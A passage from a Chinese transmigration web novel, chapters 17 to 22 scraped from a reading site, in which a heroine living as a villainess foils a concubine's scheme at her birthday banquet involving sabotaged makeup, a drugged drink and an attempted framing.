这个做妹妹的甚至还挑了挑眉,像沈星遥的亲娘一样开口问:“为何学的头疼?” 联想到今日她一连喊了自己两次儿子,陆晏时不得不怀疑她是不是有给人当娘的癖好。 一说起学业,沈星遥便叫苦连天:“我晓得妹妹都是为我好,不论你说什么,我都是愿意听的,只是那夫子讲课实在晦涩难懂,他讲一个时辰课,我脑袋要晕上半日!功课做得慢,学得也慢,当真是折磨极了。” 沈望舒听了,既没怪他读书不认真,也不嫌他蠢笨愚钝,反而是稍加思索了一番后,回话道:“夫子讲的东西你听不懂,那应当是夫子的问题。” “他应当根据你的水平重新调整教学方案才是,有道是因材施教,方能适才适所。” 沈望舒说得条条是道,当下就给沈星遥拍板定丁:“明日我会叫人给你寻一个新的夫子,这位的课便不上了。” 她话音才落,身旁的陆晏时突然接了句:“公子若是有什么学不会的,尽可以来问我。” 沈望舒转过头去看他,脸上的表情活像见了鬼。 这男主今天怎么回事?下午那会儿开口提点自己不说,现在又主动要教沈星遥功课?太阳打西边出来了还是怎么的?难不成明日要下红雨? 沈星遥也是这时才注意到,自家妹妹旁边不知何时站着个容貌卓绝的美男子,狐疑道:“这位是?” 他向来不管家中事,虽然知晓沈向远养了书生门客在院里,却一直不知道共有几人,都叫什么名字、长什么模样,见到陆晏时认不出来自然也正 17.第十七章 《请不要和男主谈恋爱》全本免费阅读 到了十一月十七,便是沈妄姝的生辰了。 而沈望舒穿进这本小说里,也将将满一个月了。 在外人眼里瞧着,这沈大小姐也不知为何,似乎在一夜之间突然长大懂事了,她虽然依然骄纵跋扈,却不似从前那难相处,也不会动辄打骂婢女,甚至言语之间还颇为客气,叫她院中的下人们日子好过了不少。 再加上她这些日子学习勤勉,又在回春堂前替一个姑娘解了围,有关她的风评竟好转了许多,只是沈望舒对这些事情全然不知,只一门心思扑在她的事业上,忙的脚不沾地,不知不觉间就等到了沈妄姝的生辰。 前些天连着下了几日的雨,延绵的秋雨也叫这江南一日日地冷了下去,总算半只脚迈进了冬日的门槛。 好在今日是个难得的晴天,像是上天要偏爱沈妄姝似的,专门为着她的宴席停了雨,要叫她好好过个生辰,连给她梳头的侍女都觉得高兴,边梳头边笑吟吟地道:“小姐果然是有大福气的,连天公都为您作美呢。” 沈望舒今日难得起了个大早,正坐在梳妆台前打瞌睡,听见侍女的话也没什么反应,只淡淡“嗯”了两声,便算做是回答了。 她今日早起倒也不是为了别的,而是要延续沈妄姝本人的传统,去给她的生母沈夫人上香。 沈夫人在生下沈妄姝没多久之后就去世了,她自小没有母亲的关爱,又与那杜姨娘天生不对付,所以每到她生辰时,她都会格外思念自己的母亲,后来便会在每年生辰时早起去为自己的生母上香,在沈夫人的画像前诉说自己的想念与委屈,已然已经做了八九年了,自然没有要叫沈望舒停下的理由。 沈望舒只简单地梳洗一番,便自己一个人直奔佛堂而去,她老老实实地点了香跪在沈夫人的画像前,听脑子里的沈妄姝小声地念经文。 她难得这样安静,更难得这样顺着沈妄姝的心思,她听见沈妄姝哭哭啼啼地对着那美人像哭诉自己的思念时,叫沈望舒对她生起了一种难以言喻的同情来——沈妄姝到底也只是个从小没了娘的可怜人,虽然被塑造成反派角色,却也不过是个面对着爹娘会哭会闹的小孩罢了,这样顺着她一回,就算是给她的生日礼物了。 沈妄姝念了大半个时辰的经,总算肯叫沈望舒回去,沈望舒揉着跪麻了的膝盖,才走出佛堂的大门,迎面就见到了风风火火走过来的沈星遥。 沈星遥怀里揣着个盒子,衣裳穿得歪歪扭扭,头发也只是囫囵扎着,瞧着多少有些邋遢,似乎是才起床,还未来得及好好梳洗,便着急忙慌地找过来似的,他瞧见沈望舒从佛堂出来,当即扯出个灿烂的笑脸来,又将手里抱着的盒子往沈望舒的怀里一塞,道:“就知道你在这,喏,大哥送你的生辰礼物。” “大哥也不求别的,只盼着你平平安安的就成,若是有哪个不长眼的敢欺负你,你尽管告诉我。” 沈望舒闻言笑了笑,低头去看手里的盒子。 这盒子以黑檀木制成,上雕镂空荷叶莲花纹,又以珍珠镶嵌在叶片上,远远瞧去宛若这荷花上的露珠,晶莹剔透,好不美丽。 沈望舒打开那盒子一看,里头躺着的是一套珍珠首饰——一支金镶珠花蝴蝶步摇,一对蝶恋花镶珠耳坠,甚至还有一串珍珠手串,手串下头缀着枚粉碧玺雕琢而成的海棠花,精致又富贵,简直要迷了人的眼。 这首饰上用的每一颗珍珠都圆润透亮,叫晨间的微光一照,便折射着温润又炫目的光彩。 即便是在现代,要找到这样多品相近乎完美的珍珠做首饰都不是件易事,更何况是生产力低下的古代?沈望舒看着这一套首饰,下意识便惊呼了句:“好漂亮!” 送的礼物招人喜欢,沈星遥面上的表情自然得意,而沈妄姝瞧她喜欢,也十分自豪:“自然漂亮了,我大哥挑首饰的眼光可是一等一的好,那首饰上头嵌的珍珠,便是宫里的娘娘都难寻得呢……” 她夸着夸着,沈望舒却突然觉得有些不对劲了。 沈望舒问她:“前两世你都收到了这套首饰吗?” 沈妄姝自然说是。 却听得沈望舒又问:“一样的时间,一样的地点,一样的首饰,三辈子都一样,是吗?就连你大哥跟你说的话,也同现在一模一样?” 沈望舒不知道她为何有此一问,却仍老实答:“对呀。” “这不应该啊。”沈望舒低思,又去问沈星遥,“哥哥的银钱都叫我管着,哪里来的钱去买这样贵重的首饰?” “哎哟,你别误会,”沈星遥赶紧摆手,“我瞧着这套适合你,便拿自己剩下的私房钱……又当了几个不喜欢的玉佩,凑一起买的。” 沈星遥怕她发火,赶紧把自己的老底全透了个干净:“真没再藏别的钱了。” 可沈望舒的脸色却不甚好看,她只谢了沈星遥,便拿着盒子往回走,沈妄姝叫她这模样弄的摸不着头脑:“你到底怎么了?” “你不觉得奇怪吗?”沈望舒绷着一张脸,走起路来脚步都有些虚浮,仿佛天都快要塌下来似的,“我来这里一个月了,做的事情和你前两世完全不同,既提前改正了你大哥的一大错误,又和男主陆晏时完全没有干戈,走上了和你完全不同的轨迹,但却还是在不由我本人主导的故事节点上,发生了和你前两世一模一样的故事,这完全不应该啊!” “你大哥在没有钱的情况下,却还是把这套首饰完完整整地拿到了你面前来,你知道这代表着什么吗?” 沈妄姝从未见过她这般严肃又吓人的模样,再加上被她一番话说得心里隐隐不安了,小心翼翼地开口问她:“代、代表什么?” “我做出了这样多的改变,把你和你大哥的人生轨迹完全颠覆,可到了这个‘必然发生’的节点上时,却还是发生跟以前一样的事,这不就说明我不管做什么事,这本书里的重要事件都不会改变吗?” “这本书里所有的事件和结局都已经被钉死了,男女主就是会相爱相守,你作为愚蠢自私的女三就是要被全家灭门,不管你和我存档读档多少次,也没有办法改变这个死亡结局!” 沈望舒越说越觉得心惊,越说越觉得绝望:“你把我关在这里,要我为了这个既定结局陪你轮回生生世世?你耍我呢?!” 沈妄姝轮回了两世,活了两次也死了两次,却从未有过一次想过她 18.第十八章 《请不要和男主谈恋爱》全本免费阅读 在《医女皇后》这本小说里,沈妄姝虽然是个脑袋空空、自私自利的反派角色,但却是实打实的江南第一美女,因而即便沈妄姝恶名远扬,但自打她十四岁及笄之后起,上门来求娶的人却依旧多到要踏破沈府的门槛。 沈望舒今日穿的是一新做的身桃粉色百鸟衔花纹儒裙,头发侧梳一倾髻,发间簪着沈星遥今日送她的珍珠步摇,凭她这样的长相,只消要在面上随便点上一点胭脂,便能美的叫旁人都失了光彩,可如今盛装打扮过后,反而叫她有如明珠蒙了尘,乍然间泯然众人了。 而问题就出在她的妆容上。 这妆娘分明哪里都为她仔细地把妆画了,可却显得她颧骨高、鼻头大、面中长、眉毛也压眼睛,腮红打得重了许多,像戏曲里扮丑的乡下媒婆,就连原本饱满水润的嘴唇也被画得薄了一圈,让她整张脸看上去刻薄又老相,宛若突然老了十五六岁。 但若是凑近了仔细看,这底妆、眉眼、口脂哪儿哪儿都画的精致,只是拼在一起时又显得人哪儿哪儿都不好看,沈望舒端着铜镜看了小半日,由衷地感叹了句:“这还是个高手。” 沈望舒没有对这个妆容发表什么意见,反而转头去问那妆娘:“你叫什么名字?” 那妆娘年纪瞧着不到三十,穿着打扮十分朴素,一听沈望舒叫她,便立即作了一揖,低着头道:“回小姐的话,小的叫李三娘。” 沈望舒这才问:“你是故意把我画成这样的吗?” 李三娘一听,立刻“扑通”一声跪在地上,整个身子匍匐下去,连脑袋都快和地面贴在一起,毕恭毕敬地解释道:“小姐有所不知,现在、现在这样的妆容正流行呢……” 她嘴上说着流行,可讲话的语气分明是心虚的,沈望舒还未来得及说什么,那李三娘又滔滔不绝地道:“小姐本就美艳不可方物,只是面容上略显稚嫩,画上这个妆之后,便似那天外飞仙,定能叫人看了念念不忘的。” 沈望舒都听笑了。 她这生辰宴全权由杜姨娘安排,李三娘显然也是受了杜姨娘的指使,才来沈望舒的脸上这样鬼画符的。而此时距离她的生辰宴开始还有不到半个时辰的时间,如果要这妆娘重新再画,只怕她会创造出更可怕的妆面来,再去找人来化更是来不及,可若是素颜出席这样正式的场合,又显得尤为不庄重。 杜姨娘是打定了,不论她现在如何选择,今天这个脸是非丢不可了。 这招虽低级,却明晃晃的恶心人。 沈望舒喊了侍卫来,先把李三娘带下去看管起来,又转头对一直站在自己身边的侍女道:“吉祥,你去帮我打盆水来,我要洗脸。” “这可如何使得?”那叫吉祥的侍女一听就急了,赶忙来劝她,“小姐,宴席眼看着要开始了,您总不能素面朝天的到人前去。” “谁说我要素面朝天?”沈望舒边说边去查看桌上的那些化妆品,这些东西虽然模样古老,但其实跟后世里使用的东西也算是换汤不换药,她稍微琢磨一下,在手背上试一试颜色,也就差不多会用了,“老娘自己化妆。” 沈望舒化妆的水平虽然比不得那些美妆博主的出神入化,能够徒手换人种、凭化妆刷做女娲,但拿来糊弄一下画个淡妆倒也够了。 吉祥脸上的表情更是震惊:“可是小姐……您不会化妆啊。” 她似乎是真的替沈望舒着急,连说话的语速都比平日里快了三分,劝她道::“小姐本就生的像天仙似的,这妆画的便是有几分不合适,却也难掩您花一样的容貌,怎么样也丑不了……” “前头宾客都在等着了,您不去迎宾倒也罢了,若是连宴席都迟到了,又要叫人在背后嚼舌根了……” 这侍女话说的真切,似乎字字句句都在替沈望舒考虑一般,沈望舒却不领情,只问了吉祥一句:“你是小姐,还是我是小姐?” 吉祥当下便不敢再多嘴,乖乖出去给沈望舒备水了。 而沈府的前院此时正热闹极了。 这江南首富之女的生辰宴自然办的万分风光,不仅在府内张灯结彩,更是请了当红的戏班和舞坊来唱戏跳舞,自晨起就已经在戏台上咿咿呀呀地唱了一台又一台的戏,生怕来府上的宾客无聊似的。 沈府今日共设宴五十桌,宴请的宾客不仅有乡绅豪爵,也有沈家产业里的掌柜伙计,再加上各式亲朋好友、书生秀才的,竟也将这五十桌坐了个满当当,而他们给沈望舒送来的玲琅满目的贺礼,几乎快要将一个院子堆满了,叫本就奢华的沈府一时间有如金砌,珠光宝气地迷了人的眼睛。 杜姨娘今日一早就带着沈菀在前院迎客,今日主角虽非她们母女,但二人也做了盛装打扮,一身绫罗绸缎、满头珠翠的好不富贵,旁人瞧了,不知道的还以为今日宴席的主角是这母女二人呢。 沈菀今日打扮得尤为精心,她穿了件桃粉色百鸟衔花儒裙,头梳垂挂髻,妆容也叫人精心描画过,她柳眉淡扫、朱粉不深匀,瞧着倒是比三月里的桃花还要娇俏几分,十分的招人喜欢,再加上她落落大方站在门口迎客的模样,与那整日胡作非为的沈妄姝简直是两个极端,叫来人都不禁要夸赞她几句,短短一个上午便收获了不少美名。 待到开席前,迟迟不露面的沈望舒终于姗姗来迟。 只是她一出现,众人皆有些惊诧,议论之声渐起,几乎要盖过戏台上的丝竹之声。 无他,只因着沈望舒与沈菀姐妹二人,穿了两件一模一样的裙子! 沈望舒也是一身桃粉色百鸟衔花裙,两件衣裳从颜色到花样都完全相同,一看就是同一家店、同一个裁缝做出来的衣裳,这是在任何有头有脸的人家里都不可能发生的事情,这姐妹俩又唱的是哪一出戏? 沈望舒斜梳一个倾髻,她肩若削成,腰身不过盈盈一握,肤似白雪凝霜,香腮似烟霞,她还以眉笔在眼下点一颗泪痣,瞧着似是有星光碎在她的眼角,又有一潭春水卧在她的眼底,叫 19.第十九章 《请不要和男主谈恋爱》全本免费阅读 今日秋高气爽,自清晨起朝阳便破开层层薄雾,将阳光洒遍沈府的每一个角落,叫整个沈府都好似飘荡在白色的雾霭里,只一呼吸便能闻到一股子湿润的香气。 杜姨娘虽然在衣裳上头算计了沈望舒,但这宴席毕竟关乎沈家的脸面,办的依旧体面,不仅差人重新修剪了院里的花草树木,还花重金买了新的盆栽摆在设宴的院里,叫整个院子在深秋里依旧花团锦簇,看上去好似天上的仙境一般。 更莫要提今日宴席上的菜品了——都是难的一见的山珍海味,点心果脯一应俱全,桌上的酒更是三两银一坛的佳酿,沈府为了这一场宴席可谓是一掷千金,足见对这大小姐的重视。 沈望舒坐着吃了几口菜肴,沈向远便要她去向宾客们敬酒了。 这酒自然也是提前备好的。 沈妄姝原本酒量就一般,若要老老实实地将这五十桌的宾客一桌桌地敬完,怕是没走到一半就要醉晕过去,因而敬酒时会由她的侍女吉祥跟在身后,端着一壶近乎没有度数的果酒给她喝,这样既能叫她不失了礼数,又能不让沈望舒因为醉酒出什么状况,可谓是一举两得。 沈望舒为了顺利继承家业,今日自然要在各位人物眼前表现得可靠端庄一些,敬酒时自然也端着副落落大方的模样,她一边敬酒,一边在脑子里问沈妄姝今日来的宾客和从前是否一样,沈妄姝细细地都看了,道:“除了柳半夏,其余的人都是一样的。” “但也确实发生了许多不同的事情,”沈望舒虽被算计了一道,心情却十分轻快,“虽然只有一点点,但我确实成功改变了一点点事情的走向。” “看来你的系统没有骗我,如此积少成多下去,总有一天会成功改写你和你家人的命运的!” 沈妄姝如今对她十分信任,一听见沈望舒说这话,悬着的心总算落进肚子里,连连道:“好!好!干得好我给你加钱!” 对于这个没事就喜欢给人加薪的老板,沈望舒简直喜欢极了。 薪水一涨,她工作的动力自然更上一层楼,连敬酒都更有劲了。 沈望舒敬着敬着,终于走到了陆晏时坐的那一桌。 陆晏时与其他几个书生坐在一处,这些书生都是由沈府资助的,加上陆晏时共有十一人,只是有些人另有住处,并不住在竹苑里。 这些人瞧着年龄不一,年长的莫约三十四五,年纪小的瞧着又只有十三四岁,却各个穿着粗布旧衣裳,瞧着确实都不富裕,模样也都十分普通,半点出彩的地方都没有,穿着青色竹纹长衫,容貌有若谪仙的陆晏时确实与这些人十分格格不入。 但他却不甚在意这些,这些书生也不甚在意这些,每个人只板直了身子坐着,老老实实地吃着桌上的饭菜,陆晏时见沈望舒端着酒杯来敬酒,便又板板正正地站起身来,看了沈望舒一眼。 沈姑娘今日盛装打扮,羽衣似带烟霞色,更显的她秀色掩今古,美艳不可方物,叫这一桌子男子都快看呆了。 此时台上的戏正幽幽转转地唱到:想着她眉儿浅浅描,脸儿淡淡妆……你撇下半天风韵,我拾得万种思量…… 一字字一句句,唱得情深意切,唱得悠扬婉转,唱得陆晏时的心好似戏台上的锣鼓,咚咚咚不停地响。 更唱的陆晏时莫名有些心虚。 少年人只看了她这一眼,便垂下眼去不敢再看,只抬起手来向沈望舒遥敬了一杯酒,一字一句地道:“陆某祝姑娘如花似叶,岁岁年年,共占春风。” 沈望舒弯起眼睛笑了笑,模样娇俏极了,她将手里的果酒一饮而尽,颇为豪爽地道了“多谢公子”之后,便要去下一桌了。 陆晏时张了张口,似是有话想与沈望舒说,只是他瞧着沈望舒已经转了身要走,到底还是没能把话说出口,又呆呆地坐了回去。 沈望舒倒是不知道陆晏时在后头纠结什么,还在心里头打趣沈妄姝道:“你别说,陆晏时长得确实是太好看了,这要放到我们那儿,高低都得是个顶流。” 沈妄姝听不懂她的话是什么意思,倒是听懂了那句“陆晏时太好看了”,当即毒唯上身,颇为自豪地道:“他若是不好看,我能在他身上栽两辈子吗?” 沈望舒简直无语:“这么丢人的事情,你怎么能说得这么自豪?” 她终于敬完一轮酒,慢悠悠地回到了自己的座位上,一壶酒下肚,又没吃多少东西,沈望舒竟觉得有些晕乎乎的了。 “不是吧,”她扶着自己的脑袋,冲沈妄姝吐槽道,“这酒不是连小孩都喝不醉吗?你酒量这么差?” “不应该啊,”沈妄姝也奇怪,“拿错酒了吗?” 自打李三娘的事情开始,这场生辰宴上就发生了不少的变数,沈妄姝会觉得拿错酒倒也没什么不对。 沈望舒却也觉得没什么大不了,不过是一点醉酒的晕眩而已,她完全可以忍受,今日是她第一次以沈向远继承人的身份在众人面前露面,沈望舒并不想因为醉酒而失了颜面,她只要接下来不再喝酒,老老实实地走完这一场宴会的流程,便可以回去休息了。 可沈望舒却没想到,她越坐越觉得身上难受,才过不到一刻钟的时间,便觉得自己不只是头晕难耐,浑身上下有如被密密麻麻的蚁虫爬过般瘙痒难耐,身上也好似有火在烤,烫的她快要冒烟了。 更别提她的小腹还时不时的好像有细微的电流划过,叫她的肚子有种莫名酥麻的感觉,两条腿又酸又胀,就连心跳的速度都快了几分,实在是难受。 沈望舒又挨了一会儿,终于觉得支撑不住,小声叫了句:“吉祥。” 一直候在她身旁的侍女立刻俯身上前,沈望舒将手搭在她身上,低声道:“我喝醉了,你带我下去歇一会。” 吉祥自然说好。 她搀着软了半个身子的沈望舒,穿过长长的回廊,一言不发地往一处静谧的院子走去。 沈府本就大的离谱,沈望舒来了这么些日子,都尚未摸清整个沈府的构造,如今脑袋又晕的厉害,也就这么老实的跟着她走了。 “还得劳烦你跑一趟,”沈望舒脚步虚浮地半倚在吉祥的身上,轻声道,“一会儿去帮我端一碗醒酒的汤药来。” 吉祥低声应了声是。 她们兜兜转转地穿过两个花园,终于看到一处小院,院里只有两个厢房,又种满了低矮的灌木,它远离吵闹的前院,倒确实清净,作为醉酒时小憩的地方倒也合适。 吉祥将沈望舒扶进院里,又突然撤了搀扶在她身上的手,大声喊了句“小姐,小的这就去给您端醒酒汤,您且先进去歇一歇!”后转头就跑,倒也不知她究竟在急些什么。 沈望舒本就觉得晕眩,吉祥陡然松手,叫她险些在院里摔倒,还是扶着棵矮树才堪堪站住,没叫自己摔了去。 她才站稳了身子,突然就听得身后厢房门被人用力推开的声音,接着便是急匆匆又沉重的脚步声传来,沈望舒还未来得及回过头去看看怎么了,就突然被一个浑身酒气的男人抱进了怀里!< 20.第二十章 《请不要和男主谈恋爱》全本免费阅读 陆晏时今日来沈望舒的生辰宴,其实是备了份礼物的。 他近来承了沈望舒许多的好意,自然不好意思空手来人家的生辰宴上,只是他来了之后,却瞧见旁人送的礼物不是什么名家字画,就是珍宝首饰,他一个穷鬼准备的礼物在这些东西跟前就像石头似的不起眼,实在是拿不出手。 可他却又十分不愿白白承沈姑娘的好意,思来想去便决定私下将这份贺礼交给沈姑娘。 左右他能拿出来的东西也就这些,若是沈姑娘不喜欢,嘲笑他穷酸他也认了。 因而当陆晏时看见沈望舒和侍女离席的时候,他连想都没想,就这么追了上来。 而此时的沈望舒整个人软的好似一滩水,没骨头似的栽在陆晏时的怀里,她不想与陆晏时有这样的牵扯,第一时间就想从他怀里挣脱出来,却无论如何都使不上力气。 饶是怒上心头、失去了理智的沈妄姝这会儿也觉察出来不对劲了:“你不像是单纯的喝醉了!” “这、这反应……”沈妄姝难得紧张,“倒像是……像是吃了春药……” “而且还吃了不少……” “娘的,”沈望舒骂了句,“这手段也太下贱了些。” 哪怕是在沈望舒所处的时代,造一个女人的黄谣也是仍旧是毁掉她最下作、却最有用的手段之一,她能被人带到这里来,说明再过一会儿,就一定会有人大张旗鼓地来“捉奸”,届时不论她是否真的和那男的发生了什么,她也跳进黄河都洗不清了。 而且她被带来的这院子名叫春风苑,本就地处沈府偏僻之地,连花草修剪也不如别处精心,平时甚少有人来此——倒确实是个私会男子的好地方。 对方甚至连地方都为她选的十分完美,确实非常懂得如何构陷人。 沈望舒甚至有些庆幸,庆幸陆晏时来找自己了。 不论陆晏时来做什么,也不论他是不是讨厌自己,总归陆晏时是个正人君子,既不可能对她做些下流事,更不会趁人之危来报复自己,找他帮忙至少是放心的。 因而她艰难地从陆晏时的怀里抬起头看他,有些哽咽地道:“我……我不认得他……” “你帮帮我……” 沈望舒面带情动的潮红,连一双眼睛都染上了绯色,她眼底含着氤氲的水汽,泪花似明珠般垂在她的眼角,使她看起来好似一支被春雨打湿的梨花,又叫人如何能不垂怜,叫人如何能不心动? 陆晏时还未来得及说上一句什么,却听得对面那身穿华服的醉鬼冲自己喊道:“你又是谁?赶紧滚,少来坏小爷好事!” 陆晏时下意识搂着沈望舒后退了一步,道:“这位姑娘说不认识你。” “放什么屁!”醉汉说起话来都有些咬舌头,却依旧步步紧逼,“是她专门差侍女写了情诗给老子,又叫小爷我来这里等她,要同小爷共赴云雨的,如今又装什么纯情呢?!” 说罢他又发出一声□□:“实相的就赶紧滚!别坏了我们俩的兴致!” 在听到沈望舒给这男人写情诗的时候,陆晏时心头莫名地有一股无名火起。 他自己也不知道自己在气什么,更不知道自己在不高兴什么,一时间连思考和反应都不会了,却下意识去问怀里的沈望舒:“你真的是来找他的?” 陆晏时问这话的时候,说话的尾音都带着些难以觉察的颤抖,连他自己都不清楚,他到底想从沈望舒的嘴里听到什么样的回答。 沈望舒却被他这一句话问得心头火起。 她挣扎着抬起头、怒视着陆晏时,骂道:“你是真蠢还是假蠢?!” “睁大你的眼睛看看清楚!我是个什么样的相貌?!”她话说得急了,胸口随着喘气的节奏一起一伏,似乎连呼吸都叫她十分辛苦似的,“将来我便是到宫里当个娘娘都做得,还能看得上这不知从哪里冒出来的、歪瓜裂枣一样的货色吗!?” “你看看他的脸,从头顶看到下巴只怕要从天黑看到天明,我发的哪门子疯能和这样一个男子私会?!” 沈望舒骂完,身上便再也没有一点力气,一滩水似的就要倒下去,陆晏时醍醐灌顶,赶忙伸手去抱她,将她稳稳当当地又抱进自己怀里,急道:“我这就带你离开。” 那醉汉见状,当即借着酒劲要上来抢夺沈望舒,好在他醉的实在厉害,走起路来也踉踉跄跄,显然除了虚张声势之外也做不了别的。 陆晏时正想带着沈望舒赶紧离开,衣襟却叫怀里的姑娘拽了一下,接着就听得沈望舒说:“你、你把他打晕了……找我的侍卫来把他、把他关起来……省的他乱……乱说话。” 时下书生读书,都要认真学习君子六艺,饶是陆晏时这样瘦弱的书生,也是习得武艺傍了身的,想要放倒一个醉汉确实不是难事,因而他乖乖地听了沈望舒的吩咐,将她先在树边放下了,又回过身去,十分干脆地以手为刀,横劈在那醉汉脖子上,利落地将人放倒了。 陆晏时想了想,又去将那醉汉拖进矮灌木丛里,生怕此时有人来提前发现他,这才急匆匆地赶回沈望舒的身边,想要把她搀扶起来,却发现沈姑娘的身子比方才还要无力,连站都要站不起来了。 他一咬牙,低声说了句“多有得罪”,便弯下腰去,将沈望舒整个人打横抱起,走出了春风苑。 沈望舒的脑袋靠在陆晏时的肩头上,火一样的体温像七月里的烈日一般,透过层层叠叠的布料灼在陆晏时的身上,叫那少年人的胸前后背无端地出了一层薄汗。 偏偏沈望舒还对当前的状况半点不自知,她虽然身子绵软的厉害,但好在脑子尚存一丝理智,还能够思考,因而此刻她靠在陆晏时的肩头,还在絮絮叨叨地向他吩咐事情:“你把我送回我院里去,谁也别惊动……再、再悄悄地把、把柳姑娘……柳姑娘叫来给我诊治……” “然后你……你叫侍卫把我的侍女……侍女吉祥也关起来。” 她说话的时候,便有一股又一股的热气扑在陆晏时的脖颈上,又烫又痒,好似有猫爪在陆晏时的脖子轻挠,叫他实在难受。 < 21.第二十一章 《请不要和男主谈恋爱》全本免费阅读 柳半夏不愧是原书的女主角,专业知识水平值得信任,只在沈望舒的脉搏上搭了一会,十分迅速地为她开出了药方,交由沈望舒的侍女去配药,又叫人打了盆凉水来,以湿布子去擦拭她滚烫的额头,还拿出随身带的几种药丸化成水喂给沈望舒喝下,用以缓解沈望舒的痛苦。 柳半夏这药丸多是提神醒脑用的,平日里带着多是自己用来醒神吃的,给沈望舒服下才没多久,她便兜兜转转地醒了过来,虽然身上高热没退,但脑子却已经清明了,至少能打起精神和别人说话了。 沈望舒看见柳半夏坐在自己床前,便已经了然陆晏时帮她把吩咐的事情办好了。 她尚未来得及开口与柳半夏说些什么,房门突然被人粗暴地推开,就听得沈星遥声音先到:“妹妹!怎么好好的会中毒了!?” 沈望舒一时没反应过来:“谁讲我中毒了?” 沈星遥风风火火地冲进屋,往沈望舒的床前一挤,关切地伸出手去探沈望舒的脸,又被她惊人的热度所吓到,脸色都白了,关切道:“怎么会烫成这样?大夫呢?!大夫呢!” 沈望舒赶紧去拽他的手,低声道:“我没事,我没事,你先别喊。” 她烧的嗓子都有些干涸,讲起话的声音也有些嘶哑,但讲话的语气却像哄小孩似的:“这位柳姑娘就是大夫,已经帮我瞧过了。” 沈望舒又问:“谁同你说的我中毒了?” “陆晏时来说的,可把我吓死了!”沈星遥见她面上通红,精神却尚好,确实不像是中毒了的症状,悬着的心才放下一点来,继续追问她,“究竟出什么事了?” 沈望舒只稍微一想,便明白了陆晏时的用意——她这药多半是身边亲近之人下的,若只是说她吃了春药,又没受到什么具体的伤害,沈向远极有可能考虑到沈望舒的名声、沈家的名声而将这件事轻轻揭过,倒不如把事情往严重了去说,到她的性命都受到威胁的程度时,她爹想息事宁人都不行。 “爹呢?”沈望舒左右瞧不见沈向远的身影,便先问起他的动向来,沈星遥老老实实地答道:“正在前头安排宾客呢,出了这样大的事,总不能引起骚动,一会儿便过来了……你到底怎么了?” 沈望舒挣扎着从床上坐起来,简明扼要地将方才发生的事情都跟沈星遥讲了一遍,沈星遥越听脸色越差,当即“噌”地一下站起身来,火冒三丈地要去抓吉祥和醉汉过来问罪,沈望舒立刻去喊:“大哥,你先回来!” 沈星遥一听见自家妹子叫,又立刻乖乖地坐了回去,还开口问上一句为何让自己回来,就听得沈望舒先开口道:“我已经……已经让陆公子做好了。” “吉祥已经和那男的已经被关押起来了,”沈望舒轻喘着气,不急不慢地解释道,“只是我还不知道那男子是谁……哥哥你帮我查一查吧。” 沈星遥被她几句话说得一怔,好一会儿才问:“你何时做事也如此周全了?” 沈妄姝听得气呼呼:“哇,好端端的,他这个做大哥的怎么还骂我?” 她话音才落,被沈望舒使唤的满院子跑陆晏时便去而复返,略带焦急地推开了沈望舒的房门。 他见沈望舒醒来,面上的表情当下松快了不少,他关切地走到沈望舒的床前,看着头发有些散乱、似醉海棠一般卧在床上的姑娘,垂下眼去低声问:“可好些了?” 沈望舒倚在床栏上,点了点头,算作是回答了。 “方才那男子是吴员外的长子,吴应春,”陆晏时侧过脸去,不好意思再看沈望舒一眼,只将自己方才得来的东西从怀里掏了出来,向沈望舒的方向递了过去,“我从他身上摸出来的。” 那是一张薄薄的信纸,纸用香细细熏过,拿在手里时还能闻到纸面上传来的淡淡的花香味,那上头用簪花小楷写了首情诗,哀婉地诉说着自己对吴应春的爱慕与思念,又求吴应春在生辰宴上找个空隙,去春风苑一聚。 信上最后一句写的是“唯愿与君相携手,含笑双双入罗帷”,而在落款处,赫然写着沈望舒的名字。 “我靠,”沈望舒一看就骂,“不是我,我写字没这么好看。” 她一个没学过毛笔字的现代人,拿着中性笔写简体字都只能勉强写工整,又怎么可能写出这样漂亮的字来?只是她说得直白实诚,半点不避开自己的缺点,却不免惹得旁人有些想笑了。 陆晏时又递给她一个酒壶,低声道:“花丛里找到的,想来是吉祥被抓的突然,还没来得及处理,只好随便丢掉了。” 那酒壶通体天青色,只画一只仙鹤作为装饰,正是沈望舒在宴席上时用来盛酒用的,如今那酒壶上头豁了个口子,自瓶口到瓶底处横着一道裂痕,里头还剩着点尚未喝完的酒,正可怜巴巴地挂在内壁上,稍微晃一晃便湿答答地淌下来。 柳半夏伸手将那酒壶接过来细细闻了,浓郁的果香与醇厚的酒香交织在一起,直勾勾地冲进她的鼻子里,而这其中又夹杂了一点微不足道的、甜腻又奇异的香气,若不是仔细分辨,确实很难分辨出来什么不同。 她冲众人点了点头,严肃道:“药是下在这酒里了。” “如今认证物证俱在,”沈星遥很是激动,“我要叫害你的人好看!” 沈望舒却有些意外地看了一眼陆晏时。 她没想到短短时间内,陆晏时竟能为自己做到这些,一个人找出了条完整的证据链,省去了自己许多的力气。 沈望舒才说了一句“多谢”,尚未来得及交代别的事情,就听见房外传来一阵嘈杂又匆忙的脚步声,听着应该是沈向远和杜姨娘来了。 沈望舒立马去抓沈星遥和柳半夏的手,匆匆忙忙地道:“既然陆公子说我是中毒,那我就是中毒了。” 在这样女子清白比命还大的时代,她被人喂了春药、差点被男人猥亵的事情绝对不能传出去。 她抓紧时间交代事情,连说话的语气都急促了不少:“除了柳姑娘,谁也不能给我诊治。” “还有吴应春的事情,谁也不可以提——记好了,我是差点被毒死,其他的事情什么都没有发生。” 此时沈向远带着杜姨娘、沈菀和贴身的侍女和先后进了房间,沈向远面带急色,匆匆地走到沈望舒的床前,万分焦急地问:“如何了?!怎么好端端的,会中毒了?!” 陆晏时站在一旁,正低着头,用十分平静的声音解释道:“沈姑娘在宴席上喝的酒被人下了毒,好在发现的及时,已经被这位柳大夫用药救下了。” 柳半夏立刻点了点头,接话道:“是,这毒用的极凶,若不是及时发现,只怕是要没命了!” 这下不光是沈向远,连杜姨娘的脸色都在瞬间变得惨白了。 她原本只想叫沈望舒吃了春药之后安排她与男人私会 22.第二十二章 《请不要和男主谈恋爱》全本免费阅读 在众人如炬的目光之下,有一名布衣女子被侍卫押进了屋里,和吉祥一起跪在了沈向远面前,正是早上给沈望舒化妆的李三娘。 李三娘瞧见这一屋子的人,原本就有些不安的心更是吓得砰砰直跳,她还未想好自己该说什么、要说什么的时候,那个坐在榻上、看上去病怏怏的大小姐沈望舒突然开口问了句:“这位娘子,杜姨娘你可认得?” 杜姨娘连看都不看李三娘一眼便答:“我如何能认得她?” 沈望舒没忍住,冷笑了一声。 她板着脸,看向跪在地上的李三娘,冷声道:“你自己说。” 